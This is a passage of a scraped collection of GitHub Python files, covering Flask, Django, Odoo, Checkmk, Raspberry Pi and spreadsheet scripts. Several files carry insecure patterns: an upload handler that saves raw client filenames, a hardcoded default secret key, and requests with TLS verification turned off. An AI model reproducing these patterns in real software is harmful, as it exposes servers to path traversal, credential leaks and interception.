_single_tag_from_valuespec(self, operator, tag_id):\n if operator == \"is\":\n return tag_id\n if operator == \"is_not\":\n return {\"$ne\": tag_id}\n raise NotImplementedError()\n\n def _get_tag_group_choice(self, tag_group):\n tag_choices = tag_group.get_tag_choices()\n\n if len(tag_choices) == 1:\n return self._single_tag_choice(\n tag_group_id=tag_group.id,\n choice_title=tag_group.choice_title,\n tag_id=tag_group.tags[0].id,\n title=tag_group.tags[0].title,\n )\n\n tag_id_choice = ListOf(\n valuespec=DropdownChoice(\n choices=tag_choices,\n ),\n style=ListOf.Style.FLOATING,\n add_label=_(\"Add tag\"),\n del_label=_(\"Remove tag\"),\n magic=\"@@#!#@@\",\n movable=False,\n validate=lambda value, varprefix: self._validate_tag_list(\n value, varprefix, tag_choices\n ),\n )\n\n return (\n tag_group.id,\n CascadingDropdown(\n label=tag_group.choice_title + \" \",\n title=tag_group.choice_title,\n choices=[\n (\"is\", _(\"is\"), DropdownChoice(choices=tag_choices)),\n (\"is_not\", _(\"is not\"), DropdownChoice(choices=tag_choices)),\n (\"or\", _(\"one of\"), tag_id_choice),\n (\"nor\", _(\"none of\"), tag_id_choice),\n ],\n orientation=\"horizontal\",\n default_value=(\"is\", tag_choices[0][0]),\n ),\n )\n\n def _validate_tag_list(self, value, varprefix, tag_choices):\n seen = set()\n for tag_id in value:\n if tag_id in seen:\n raise MKUserError(\n varprefix,\n _(\"The tag '%s' is selected multiple times. A tag may be selected only once.\")\n % dict(tag_choices)[tag_id],\n )\n seen.add(tag_id)\n\n def _get_aux_tag_choice(self, aux_tag):\n return self._single_tag_choice(\n tag_group_id=aux_tag.id,\n choice_title=aux_tag.choice_title,\n tag_id=aux_tag.id,\n title=aux_tag.title,\n )\n\n def _single_tag_choice(self, tag_group_id, choice_title, tag_id, title):\n return (\n tag_group_id,\n Tuple(\n title=choice_title,\n elements=[\n self._is_or_is_not(\n label=choice_title + \" \",\n ),\n FixedValue(\n value=tag_id,\n title=_u(title),\n totext=_u(title),\n ),\n ],\n show_titles=False,\n orientation=\"horizontal\",\n ),\n )\n\n def _tag_choice(self, tag_group):\n return Tuple(\n title=_u(tag_group.choice_title),\n elements=[\n self._is_or_is_not(),\n DropdownChoice(choices=tag_group.get_tag_choices()),\n ],\n show_titles=False,\n orientation=\"horizontal\",\n )\n\n def _is_or_is_not(self, **kwargs) -> DropdownChoice: # type: ignore[no-untyped-def]\n return DropdownChoice(\n choices=[\n (\"is\", _(\"is\")),\n (\"is_not\", _(\"is not\")),\n ],\n **kwargs,\n )\n\n\nclass PageAjaxDictHostTagConditionGetChoice(ABCPageListOfMultipleGetChoice):\n def _get_choices(self, api_request):\n condition = DictHostTagCondition(\"Dummy title\", \"Dummy help\")\n return condition._get_tag_group_choices()\n\n\nclass LabelCondition(Transform):\n def __init__(self, title, help_txt) -> None: # type: ignore[no-untyped-def]\n super().__init__(\n valuespec=ListOf(\n valuespec=Tuple(\n orientation=\"horizontal\",\n elements=[\n DropdownChoice(\n choices=[\n (\"is\", _(\"has\")),\n (\"is_not\", _(\"has not\")),\n ],\n ),\n SingleLabel(\n world=Labels.World.CONFIG,\n ),\n ],\n show_titles=False,\n ),\n add_label=_(\"Add label condition\"),\n del_label=_(\"Remove label condition\"),\n style=ListOf.Style.FLOATING,\n movable=False,\n ),\n to_valuespec=self._to_valuespec,\n from_valuespec=self._from_valuespec,\n title=title,\n help=help_txt,\n )\n\n def _to_valuespec(self, label_conditions):\n valuespec_value = []\n for label_id, label_value in label_conditions.items():\n valuespec_value.append(self._single_label_to_valuespec(label_id, label_value))\n return valuespec_value\n\n def _single_label_to_valuespec(self, label_id, label_value):\n if isinstance(label_value, dict):\n if \"$ne\" in label_value:\n return (\"is_not\", {label_id: label_value[\"$ne\"]})\n raise NotImplementedError()\n return (\"is\", {label_id: label_value})\n\n def _from_valuespec(self, valuespec_value):\n label_conditions = {}\n for operator, label in valuespec_value:\n if label:\n label_id, label_value = list(label.items())[0]\n label_conditions[label_id] = self._single_label_from_valuespec(\n operator, label_value\n )\n return label_conditions\n\n def _single_label_from_valuespec(self, operator, label_value):\n if operator == \"is\":\n return label_value\n if operator == \"is_not\":\n return {\"$ne\": label_value}\n raise NotImplementedError()\n","repo_name":"Checkmk/checkmk","sub_path":"cmk/gui/wato/pages/_rule_conditions.py","file_name":"_rule_conditions.py","file_ext":"py","file_size_in_byte":9539,"program_lang":"python","lang":"en","doc_type":"code","stars":1176,"dataset":"github-code","pt":"11"} +{"seq_id":"14610638207","text":"import os\n\n\nclass Config(object):\n pass\n\n\nclass ProductionConfig(Config):\n DEBUG = False\n SERVER_NAME = os.getenv('SERVER_NAME')\n PORT_NUMBER = os.getenv('PORT_NUMBER')\n\n VND_ID_INTERNAL_DOMAIN = os.getenv('VND_ID_INTERNAL_DOMAIN')\n SECRET_AUTHEN_KEY = os.getenv('SECRET_AUTHEN_KEY')\n\n DATA_DIR = os.getenv('DATA_DIR')\n LOG_DIR = os.getenv('LOG_DIR')\n WEB_STATIC_DIR = os.getenv('WEB_STATIC_DIR')\n\n MODEL_FACE_ANALYSIS_NAME = os.getenv('MODEL_FACE_ANALYSIS_NAME')\n MODEL_MASK_DIR = os.getenv('MODEL_MASK_DIR')\n YOLOV5_DIR = os.getenv('YOLOV5_DIR')\n\n\nclass DevelopmentConfig(Config):\n if os.getenv('DEBUG'):\n DEBUG = os.getenv('DEBUG') == 'True'\n else:\n DEBUG = True\n if os.getenv('SERVER_NAME'):\n SERVER_NAME = os.getenv('SERVER_NAME')\n else:\n SERVER_NAME = \"0.0.0.0\"\n\n if os.getenv('PORT_NUMBER'):\n PORT_NUMBER = os.getenv('PORT_NUMBER')\n else:\n PORT_NUMBER = 5000\n\n VND_ID_INTERNAL_DOMAIN = 'https://accounts-uat.vndirect.com.vn/'\n if os.getenv('SECRET_AUTHEN_KEY'):\n SECRET_AUTHEN_KEY = os.getenv('SECRET_AUTHEN_KEY')\n else:\n SECRET_AUTHEN_KEY = 'tX5YKLeoCEBDYehSUjSDrFAqqbPIwpO3h52A1ZI7hBPjJWrX4zkMEZLAQDOD'\n\n if os.getenv('CDN_SERVER'):\n CDN_SERVER = os.getenv('CDN_SERVER')\n else:\n CDN_SERVER = 'https://face-matching-cdn.vndirect.com.vn/'\n\n if os.getenv('CND_FOLDER_PATH'):\n CND_FOLDER_PATH = os.getenv('CDN_SERVER')\n else:\n CND_FOLDER_PATH = 'ai_face_matching'\n\n if os.getenv('VOC_API'):\n VOC_API = os.getenv('VOC_API')\n else:\n VOC_API = 'https://tttv-api-suat.vndirect.com.vn/'\n\n if os.getenv('DATA_DIR'):\n DATA_DIR = os.getenv('DATA_DIR')\n else:\n DATA_DIR = '/opt/gitlab/vnd-face-matching-api/data'\n if os.getenv('LOG_DIR'):\n LOG_DIR = os.getenv('LOG_DIR')\n else:\n LOG_DIR = '/opt/gitlab/vnd-face-matching-api/log'\n if os.getenv('WEB_STATIC_DIR'):\n WEB_STATIC_DIR = os.getenv('WEB_STATIC_DIR')\n else:\n WEB_STATIC_DIR = '/opt/gitlab/vnd-face-matching-api/app/web'\n\n if os.getenv('DEVICE'):\n DEVICE = os.getenv('DEVICE')\n else:\n DEVICE = 'CPU'\n\n if os.getenv('MODEL_FACE_ANALYSIS_NAME'):\n MODEL_FACE_ANALYSIS_NAME = os.getenv('MODEL_FACE_ANALYSIS_NAME')\n else:\n MODEL_FACE_ANALYSIS_NAME = 'antelopev2'\n\n if os.getenv('MODEL_MASK_DIR'):\n MODEL_MASK_DIR = os.getenv('MODEL_MASK_DIR')\n else:\n MODEL_MASK_DIR = '/opt/gitlab/vnd-face-matching-api/app/retinaface_anticov/cov2/mnet_cov2'\n\n if os.getenv('YOLOV5_DIR'):\n YOLOV5_DIR = os.getenv('YOLOV5_DIR')\n else:\n YOLOV5_DIR = '/opt/gitlab/vnd-face-matching-api/app/yolov5'\n\n\nconfig = {\n 'development': DevelopmentConfig,\n 'production': ProductionConfig,\n}\n\nVERSION = \"1.0.5\"\n\nconfig_object = config[os.getenv('FLASK_ENV') or 'development']\n","repo_name":"Avi197/vehicle_segmentation","sub_path":"dconfig.py","file_name":"dconfig.py","file_ext":"py","file_size_in_byte":2917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"425517704","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nfrom flask import Flask, flash, request, redirect, url_for, send_from_directory\nfrom werkzeug.utils import secure_filename\n\nUPLOAD_FOLDER = './uploaded_files'\nALLOWED_EXTENSIONS = set(['txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif', 'mp3'])\n\napp = Flask(__name__)\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n\n# 校验用户上传的文件是否是ALLOWED_EXTENSIONS常量指定的后缀\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n@app.route('/', methods=['GET', 'POST'])\ndef upload_file():\n if request.method == 'POST':\n # check if the post request has the file part\n if 'file' not in request.files:\n flash('No file part')\n return redirect(request.url)\n file = request.files['file']\n # if user does not select file, browser also\n # submit an empty part without filename\n if file.filename == '':\n flash('No selected file')\n return redirect(request.url)\n # if file and allowed_file(file.filename):\n if file: # 暂时不做文件后缀名检查\n # secure_filename函数会将文件名中的中文内容过滤掉,解决方法有两种:\n # 1. 修改secure_filename函数源码;\n # 2. 不使用该函数,直接用file.filename作为文件名,不安全\n # filename = secure_filename(file.filename)\n filename = file.filename\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n # return redirect(url_for('download_file',filename=filename)) # 上传完重定向到该文件的下载页面\n return redirect(request.url)\n \n html_template = '''\n\n \n \n 文件分享工具 - IT魔君\n\n\n

上传文件

\n
\n \n \n
\n
\n\n %s\n\n \n\n'''\n\n file_names = os.listdir(\"./uploaded_files\")\n uploaded_file_list = \"\"\n for f in file_names:\n uploaded_file_list += '%s
' % (f, f)\n\n return (html_template % uploaded_file_list)\n\n@app.route('/download/')\ndef download_file(filename):\n return send_from_directory(app.config['UPLOAD_FOLDER'], filename)\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"itmojun/file_share_tool","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2953,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"35105089160","text":"from cart.models import CartProduct, Client\nimport decimal\n\ndef subtotal(cartid):\n products = CartProduct.objects.filter(cartitem=cartid)\n cart_total = decimal.Decimal('0.00')\n cart_discount_total = 0\n discount = 0\n discount_quantity = 0\n for item in products:\n if item.product.is_discount:\n discount_quantity += item.quantity\n cart_discount_total += item.product.price * item.quantity\n cart_total += item.product.price * item.quantity\n if discount_quantity >=2:\n discount = (cart_discount_total * 10)/100\n elif len(products) >= 2:\n discount = (cart_discount_total * 10)/100\n cart_total -= discount\n ci = Client.objects.get(cart=cartid)\n ci.subtotal = cart_total\n ci.discount = discount\n ci.save()\n","repo_name":"wd5/smartfreeze","sub_path":"myadmin/calc.py","file_name":"calc.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"39919411932","text":"import RPi.GPIO as GPIO\nimport time\nimport paramiko\n\n# Set up the GPIO pin for the servo\nservo_pin = 18\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(servo_pin, GPIO.OUT)\nservo_pwm = GPIO.PWM(servo_pin, 50) # 50Hz PWM frequency\nservo_pwm.start(0) # Set the initial duty cycle to 0\n\n# Connect to the SSH server on the computer\nssh = paramiko.SSHClient()\nssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\nssh.connect('your_computer_ip_address', username='your_username', password='your_password')\n\n# Define a function to map the joystick input to the servo duty cycle\ndef map_servo(value):\n # Map the joystick input range (0 to 255) to the servo duty cycle range (2 to 12)\n return (value / 255.0) * 10.0 + 2.0\n\n# Loop to read the joystick inputs over SSH and control the servo\nwhile True:\n # Read the joystick inputs over SSH\n stdin, stdout, stderr = ssh.exec_command('cat /dev/input/js0 | xxd -p -c 8')\n\n # Parse the joystick input values from the output of the SSH command\n data = stdout.readline().strip()\n if len(data) == 16:\n x = int(data[6:8] + data[4:6], 16) - 32768\n y = int(data[10:12] + data[8:10], 16) - 32768\n\n # Map the joystick inputs to the servo duty cycle\n duty_cycle = map_servo(x)\n\n # Set the servo duty cycle\n servo_pwm.ChangeDutyCycle(duty_cycle)\n\n # Wait for a short time to prevent jitter in the servo movement\n time.sleep(0.01)\n","repo_name":"JAFF-CYBERTHEIF/TEMP","sub_path":"TEMP.py","file_name":"TEMP.py","file_ext":"py","file_size_in_byte":1423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"73046366106","text":"# import modules\nfrom tkinter import *\nimport Calebs_Scraper\n\n# configure workspace\nws = Tk()\nws.title(\"Pagine Bianche Scraper\")\nws.geometry('500x500')\nws.configure(bg=\"#567\")\n\n# function territory\ndef welcome():\n name = nameTf.get()\n my_url2 = (\"https://www.paginebianche.it/cerca-da-indirizzo?dv=Modena+\" + name.replace(\" \", \"+\" ))\n Calebs_Scraper()\n return Label(ws, text=f'Success! {my_url2}', pady=15, bg='#567').grid(row=2, columnspan=2)\n \n\n# label & Entry boxes territory\nnameLb = Label(ws, text=\"Scrivi l'indirizzo eg: Via Savoniero\", pady=15, padx=10, bg='#567')\nnameTf = Entry(ws)\n\n# button territory\nwelBtn = Button(ws, text=\"Prendi Tutto\", command=welcome)\n\n# Position Provide territory\nnameLb.grid(row=0, column=0)\nnameTf.grid(row=0, column=1)\nwelBtn.grid(row=1, columnspan=2)\n\n# infinite loop \nws.mainloop()","repo_name":"Flightofbird/PyScrape_PB","sub_path":"Testing_gui.py","file_name":"Testing_gui.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"32076948271","text":"#coding: utf-8\n\nimport xlsxwriter\n\n# 创建一个Excel文件\nworkbook = xlsxwriter.Workbook('chart.xlsx')\n# 创建一个工作表对象\nworksheet = workbook.add_worksheet()\n# 创建一个图表对象\nchart = workbook.add_chart({'type': 'column'})\n\n# 定义数据表头列表\ntitle = [u'业务数据',u'星期一',u'星期二',u'星期三',u'星期四',u'星期五',u'星期六',u'星期日',u'平均流量']\n# 定义频道名称\nbuname = [u'业务官网',u'新闻中心',u'购物频道',u'体育频道',u'亲子频道']\n# 定义5频道一周7天流量数据列表\ndata = [\n [150,152,158,149,155,145,148],\n [89,88,95,93,98,100,99],\n [201,200,198,175,170,198,195],\n [75,77,78,78,74,70,79],\n [88,85,87,90,93,88,84]\n]\n\n# 定义format格式对象\nformat = workbook.add_format()\n# 定义format对象单元格边框加粗(1像素)的格式\nformat.set_border(1)\n\n# 定义format_title格式对象\nformat_title = workbook.add_format()\n# 定义format_title对象单元格边框加粗(1像素)的格式\nformat_title.set_border(1)\n# 定义format_title对象单元格背景颜色为'#cccccc'的格式\nformat_title.set_bg_color('#cccccc')\n# 定义format_title对象单元格居中对齐的格式\nformat_title.set_align('center')\n# 定义format_title对象单元格内容加粗的格式\nformat_title.set_bold()\n\n# 定义format_ave格式对象\nformat_ave = workbook.add_format()\n# 定义format_ave对象单元格边框加粗(1像素)的格式\nformat_ave.set_border(1)\n# 定义format_ave对象单元格数字类别显示格式\nformat_ave.set_num_format('0.00')\n\n# 下面分别以行或列写入方式将标题、业务名称、流量数据写入起始单元格,同时引用不同格式对象\nworksheet.write_row('A1', title, format_title)\nworksheet.write_column('A2', buname, format)\nworksheet.write_row('B2', data[0], format)\nworksheet.write_row('B3', data[1], format)\nworksheet.write_row('B4', data[2], format)\nworksheet.write_row('B5', data[3], format)\nworksheet.write_row('B6', data[4], format)\n\n# 定义图表数据系列函数\ndef chart_series(current_row):\n # 计算(AVERAGE函数)频道周平均流量\n worksheet.write_formula('I'+current_row, '=AVERAGE(B'+current_row+':H'+current_row+')', format_ave)\n chart.add_series({\n 'categories': '=Sheet1!$B$1:$H1$', # 将“星期一至星期日”作为图表数据标签(X轴)\n 'values': '=Sheet1!$B$'+current_row+':$H$'+current_row, # 频道一周所有数据作为数据区域\n 'line': {'color': 'black'}, # 线条颜色定义为black\n 'name': '=Sheet1!$A$'+current_row, # 引用业务名称为图例项\n })\n\n# 数据域以第2~6行进行图表数据系列函数调用\nfor row in range(2, 7):\n chart_series(str(row))\n\n#chart.set_table() # 设置X轴表格格式,本示例不启用\n#chart.set_style(30) # 设置图表样式,本示例不��用\nchart.set_size({'width': 577, 'height': 287}) # 设置图表大小\nchart.set_title({'name': u'业务流量周报图表'}) # 设置图表(上方)大标题\nchart.set_y_axis({'name': 'Mb/s'}) # 设置y轴(左侧)小标题\n\n# 在A8单元格插入图表\nworksheet.insert_chart('A8', chart)\n# 关闭Excel文档\nworkbook.close()\n\n","repo_name":"newstar123/Pythonlab_DEV","sub_path":"Taining/Books/Automation Operations with Python/Chapter 3/XlsxWriter/simple2.py","file_name":"simple2.py","file_ext":"py","file_size_in_byte":3225,"program_lang":"python","lang":"zh","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"21505753815","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, fields, api\nfrom . import tools\nimport datetime\nclass Lead(models.Model):\n _inherit = \"crm.lead\"\n\nclass Quotation(models.Model):\n _inherit = \"sale.order\"\n state = fields.Selection([\n ('draft', 'Quotation'),\n ('sent', 'Quotation Sent'),\n ('project', 'Project'),\n ('done', 'Locked'),\n ('cancel', 'Cancelled'),\n ], string='Status', readonly=True, copy=False, index=True, track_visibility='onchange', default='draft')\n\n\nclass Project(models.Model):\n\n _inherit = \"project.project\"\n\n group_id = fields.Many2one('project.groups',string=\"Project Group\")\n\n\nclass ProjectGroup(models.Model):\n\n _name = \"project.groups\"\n\n name = fields.Char(string=\"Name of Group\")\n active = fields.Boolean(string=\"active\", default=True)\n\nclass ProjectTask(models.Model):\n _inherit = \"project.task\"\n\n azure_id = fields.Char(string=\"Azure Id\",index=True)\n areapath = fields.Char()\n project_id = fields.Many2one('project.project', string=\"Project\", index=True, track_visibility='onchange',default=lambda self: self.env.context.get('default_project_id'),)\n interation_path = fields.Char()\n iteration_id = fields.Char()\n state = fields.Char()\n reason = fields.Char()\n created_date = fields.Date()\n created_by_id = fields.Many2one('res.users', string='Created By')\n priority = fields.Selection([(4, 4), (3, 3), (2, 2), (1, 1), ], default='1', string=\"Priority\")\n changed_date = fields.Date()\n changed_by_id = fields.Many2one('res.users', string='Changed By')\n title = fields.Char()\n remaining_work_hour = fields.Integer()\n original_estimate_hour = fields.Integer()\n complete_work_hour = fields.Integer()\n description = fields.Html()\n parent_task_id = fields.Many2one('project.task', string='Parent')\n #\n timesheet_id = fields.Many2one(\n comodel_name='project.mytimesheet',\n string='Timesheet',\n required=False)\n #\n child_ids = fields.One2many('project.task', 'parent_task_id', string='Tasks', domain=[('active', '=', True)])\n type = fields.Selection(selection=[('Bug', 'Bug'), ('Code Review Request', 'Code Review Request'), ('Code Review Response', 'Code Review Response'),\n ('Epic', 'Epic'), ('Feature', 'Feature'), ('Feedback Request', 'Feedback Request'),\n ('Feedback Response', 'Feedback Response'), ('Shared Steps', 'Shared Steps'), ('Test Case', 'Test Case'),\n ('Test Plan', 'Test Plan'), ('Test Suite', 'Test Suite'), ('User Story', 'User Story'), ('Issue', 'Issue'),\n ('Shared Parameter', 'Shared Parameter'), ('Task', 'Task')])\n\n @api.model\n def create(self, value):\n # connect with project and interatiions\n res = super(ProjectTask, self).create(value)\n print('----parent id----',res.parent_task_id.azure_id,'-----own id-----',res.azure_id)\n if res.parent_task_id.azure_id:\n print('this is parent id :',res.parent_task_id.azure_id)\n timesheet = self.env['project.mytimesheet'].search([('work_item_id','=',res.parent_task_id.id),('user_id','=',res.user_id.id)])\n if timesheet:\n print('-------timesheet exists of this employee-----------')\n print('-----employee name--------------',res.user_id.id)\n print('-----employee name--------------', res.user_id.name)\n timesheet.write({'task_ids': [(4,res.id)]})\n print('-----timesheet--------------', timesheet.task_ids)\n else:\n # work_item_id, task_ids, user_id\n print('----------creating new one-------------------')\n self.env['project.mytimesheet'].create({\n 'user_id': res.user_id.id,\n 'task_ids': [(6,0,[res.id])],\n 'work_item_id':res.parent_task_id.id,\n })\n return res\n\n def get_azure_data(self):\n def get_emp(ar):\n if not ar:\n return None\n emp = self.env['res.users'].search([('login', '=', ar[1])])\n if emp:\n return emp[0].id\n else:\n emp = self.env['res.users'].create(\n {'name': ar[0], 'login': ar[1], 'password': '123'})\n return emp.id\n\n all_workitem = tools.work_items(date=\"2020-02-01\", on=\"CreatedDate\", on2=\"ChangedDate\")\n for workitem in all_workitem:\n # FIND AND SET PERENT IF ANY THERE\n parent_obj = self.env['project.task'].search([('azure_id', '=', workitem['parent_task_id'])])\n if parent_obj:\n workitem['parent_task_id'] = parent_obj[0].id\n else:\n workitem['parent_task_id'] = None\n\n # FIND AND SET ALL THE CHILDRENS\n childs = []\n for i in workitem['child_ids']:\n child_obj = self.env['project.task'].search([('azure_id', '=', i)])\n if child_obj:\n childs.append(child_obj.id)\n workitem['child_ids'] = [[6, 0, childs]]\n\n # setting employee create new is not assigning to RES.USERS\n workitem['user_id'] = get_emp(workitem['user_id'])\n workitem['created_by_id'] = get_emp(workitem['created_by_id'])\n workitem['changed_by_id'] = get_emp(workitem['changed_by_id'])\n\n # setting the project\n project = self.env['project.project'].search([('name', '=', workitem['project_id'])])\n if project:\n workitem['project_id'] = project[0].id\n else:\n res = self.env['project.project'].create(\n {'name': workitem['project_id']})\n workitem['project_id'] = res.id\n\n #create or update the taskes\n odoo_rec = self.env['project.task'].search([('azure_id', '=', workitem['azure_id'])])\n if odoo_rec:\n odoo_rec[0].write(workitem)\n else:\n res = self.env['project.task'].create(workitem)\n\n # self.timesheet_creation()\n\n\n # def timesheet_creation(self):\n #try to fire group by query here and then insert and iterate\n # print(' Came insider --------')\n # [('created_date', '>', datetime.datetime(2020, 1, 1))]\n # data = self.env['project.task'].read_group([('created_date', '>', datetime.datetime(2020, 1, 1))],\n # ['user_id', 'parent_task_id'], ['user_id'])\n # print('-----*****-----')\n # print(data)\n # result = dict((data['user_id'],\n # {'user_id': data['user_id'],\n # 'parent_task_id': data['parent_task_id']\n # }) for data in data)\n # print('---------------result---------------')\n # print(result)\n # is_gone_inside = False\n # entries_of_today = self.env['project.task'].search([('created_date','>',datetime.datetime(2020, 1, 1))])\n # print('----en-----',entries_of_today)\n # for rec in entries_of_today:\n # my_create_dict = {}\n # list_employee = []\n # list_azure_ids = []\n # for child in rec.child_ids:\n # if(rec.user_id.name not in list_employee):\n # list_azure_ids = []\n # list_azure_ids.append(child.id)\n # list_employee.append(rec.user_id.name)\n # print(rec.id, rec.user_id.name, '---', list_azure_ids)\n # my_create_dict = {\n # 'timesheet_id':rec.id,\n # 'assigned_employee':rec.user_id.name,\n # 'task_ids':list_azure_ids\n # }\n # else:\n # list_azure_ids.append(child.id)\n # my_create_dict.update({'task_ids':list_azure_ids})\n # print(my_create_dict)\n\n\n\n\n\n","repo_name":"arkankhan-ak/pmjc","sub_path":"aproject/models/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"73978289946","text":"# Author :梦情\n# Time :2023-10-07 14:12\n# File : ChatGPT.py\nimport requests\nfrom django.shortcuts import HttpResponse\n\nfrom api_app1.models import api_call, api\n\n\ndef ChatGPT(request):\n question = request.GET.get('question')\n sequence = request.GET.get('sequence')\n # 将第sequence个ChatGPT的count加一\n url = api.objects.filter(api_name=\"ChatGPT\").values('api_url')[int(sequence) - 1]['api_url']\n api.objects.filter(api_url=url).update(\n api_count=api.objects.filter(api_url=url).values('api_count')[0]['api_count'] + 1)\n\n # 将调用情况存放到api_call\n api_call.objects.create(api_name=\"ChatGPT\", api_url=url, api_method=request.method,\n api_protocol=request.META.get('SERVER_PROTOCOL', ''),\n api_ip=request.META['REMOTE_ADDR'], api_user_id=\"1\", api_question=question,\n api_UA=request.META['HTTP_USER_AGENT'])\n\n # 调用openai接口\n headers = {\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36',\n }\n data = {\"model\": {\"id\": \"gpt-3.5-turbo\", \"name\": \"GPT-3.5\", \"maxLength\": 12000, \"tokenLimit\": 4000},\n \"messages\": [{\"role\": \"user\", \"content\": question}], \"key\": \"\",\n \"prompt\": \"You are ChatGPT, a large language model trained by OpenAI. Follow the user\\'s instructions carefully. Respond using markdown.\",\n \"temperature\": 1}\n requests.packages.urllib3.disable_warnings()\n\n response = requests.post(url, headers=headers, json=data, verify=False).text\n\n return HttpResponse(response)\n","repo_name":"dreamfeelings/api_Admin","sub_path":"api_app1/api_views/ChatGPT.py","file_name":"ChatGPT.py","file_ext":"py","file_size_in_byte":1653,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"16582531949","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('signup/', views.signup, name='signup'),\n path('login/', views.login, name='login'),\n path('create/', views.create, name='create'),\n path('listall/', views.listall, name='listall'),\n path('verify//', views.verify, name='verify'),\n path('delete//', views.delete, name='delete'),\n\n path('test/', views.test, name='test'),\n]","repo_name":"SaranshBaniyal/habito","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"20472403943","text":"mydict = {}\nfor i in range(int(input())):\n x = input().split()\n x.sort()\n y = ' '.join(x)\n \n if (y in mydict.keys()):\n mydict[y] += 1\n else:\n mydict[y] = 1\narr = [mydict[i] for i in mydict.keys()]\nmaxx = max(arr)\nprint(len([i for i in arr if i == maxx]) * maxx)","repo_name":"iqbxl/Kattis-Solutions","sub_path":"src/Python 3/Conformity/Conformity.py","file_name":"Conformity.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"42670905155","text":"from lnst.RecipeCommon.Perf.Results import SequentialPerfResult\nfrom lnst.RecipeCommon.Perf.Measurements.Results.FlowMeasurementResults import FlowMeasurementResults\nfrom lnst.RecipeCommon.Perf.Measurements.MeasurementError import MeasurementError\n\n\nclass AggregatedFlowMeasurementResults(FlowMeasurementResults):\n def __init__(self, measurement, flow):\n super(FlowMeasurementResults, self).__init__(measurement)\n self._flow = flow\n self._generator_results = SequentialPerfResult()\n self._generator_cpu_stats = SequentialPerfResult()\n self._receiver_results = SequentialPerfResult()\n self._receiver_cpu_stats = SequentialPerfResult()\n self._individual_results = []\n\n @property\n def individual_results(self):\n return self._individual_results\n\n def add_results(self, results):\n if results is None:\n return\n elif isinstance(results, AggregatedFlowMeasurementResults):\n self.individual_results.extend(results.individual_results)\n self.generator_results.extend(results.generator_results)\n self.generator_cpu_stats.extend(results.generator_cpu_stats)\n self.receiver_results.extend(results.receiver_results)\n self.receiver_cpu_stats.extend(results.receiver_cpu_stats)\n elif isinstance(results, FlowMeasurementResults):\n self.individual_results.append(results)\n self.generator_results.append(results.generator_results)\n self.generator_cpu_stats.append(results.generator_cpu_stats)\n self.receiver_results.append(results.receiver_results)\n self.receiver_cpu_stats.append(results.receiver_cpu_stats)\n else:\n raise MeasurementError(\"Adding incorrect results.\")\n","repo_name":"LNST-project/lnst","sub_path":"lnst/RecipeCommon/Perf/Measurements/Results/AggregatedFlowMeasurementResults.py","file_name":"AggregatedFlowMeasurementResults.py","file_ext":"py","file_size_in_byte":1777,"program_lang":"python","lang":"en","doc_type":"code","stars":67,"dataset":"github-code","pt":"11"} +{"seq_id":"37836526016","text":"# author: gaoshh1\n# pass\n# time: 1036ms 5.67%\n# capacity: 22.7mb 90.91%\nclass Solution:\n def reverse(self, num):\n string_num = str(num)\n string_num = string_num[::-1]\n i = len(string_num)-1\n ind = 0\n ans = 0\n while (i >= 0):\n ans += int(string_num[i])*(10**ind)\n ind += 1\n i -= 1\n return ans\n\n def countNicePairs(self, nums):\n ans = {}\n for i in nums:\n ind = i-self.reverse(i)\n if (ans.get(ind)):\n ans[ind] += 1\n else:\n ans[ind] = 1\n ans_ = 0\n for i in ans:\n ans_ += ans[i]*(ans[i]-1)/2\n return int(ans_) % (1000000007)\n","repo_name":"gaoshh711/SL-Road","sub_path":"1814/1814_2.py","file_name":"1814_2.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"6144374405","text":"import numpy as np\nimport netCDF4 as nc\n\nnc_vars = ['v','u']\n\nfor nt in range(4):\n ncfil = 'test_' + str(nt+1).zfill(3) + '.nc'\n fid = nc.Dataset(ncfil,'a')\n\n fid.variables['ocean_time'][:]=nt\n\n for var in nc_vars:\n fid.variables[var][:] = nt + 2\n #fid.variables[var][:] = np.random.randn(var_ob.shape[0],var_ob.shape[1])\n\nfid.close()\n\n\n\n","repo_name":"amoebaliz/CCS_scripts","sub_path":"post_processing/scratch_nc/edit_test_ncfields.py","file_name":"edit_test_ncfields.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"29593268579","text":"import logging\n\nimport common\nfrom autotest_lib.client.common_lib import error\nfrom autotest_lib.server import 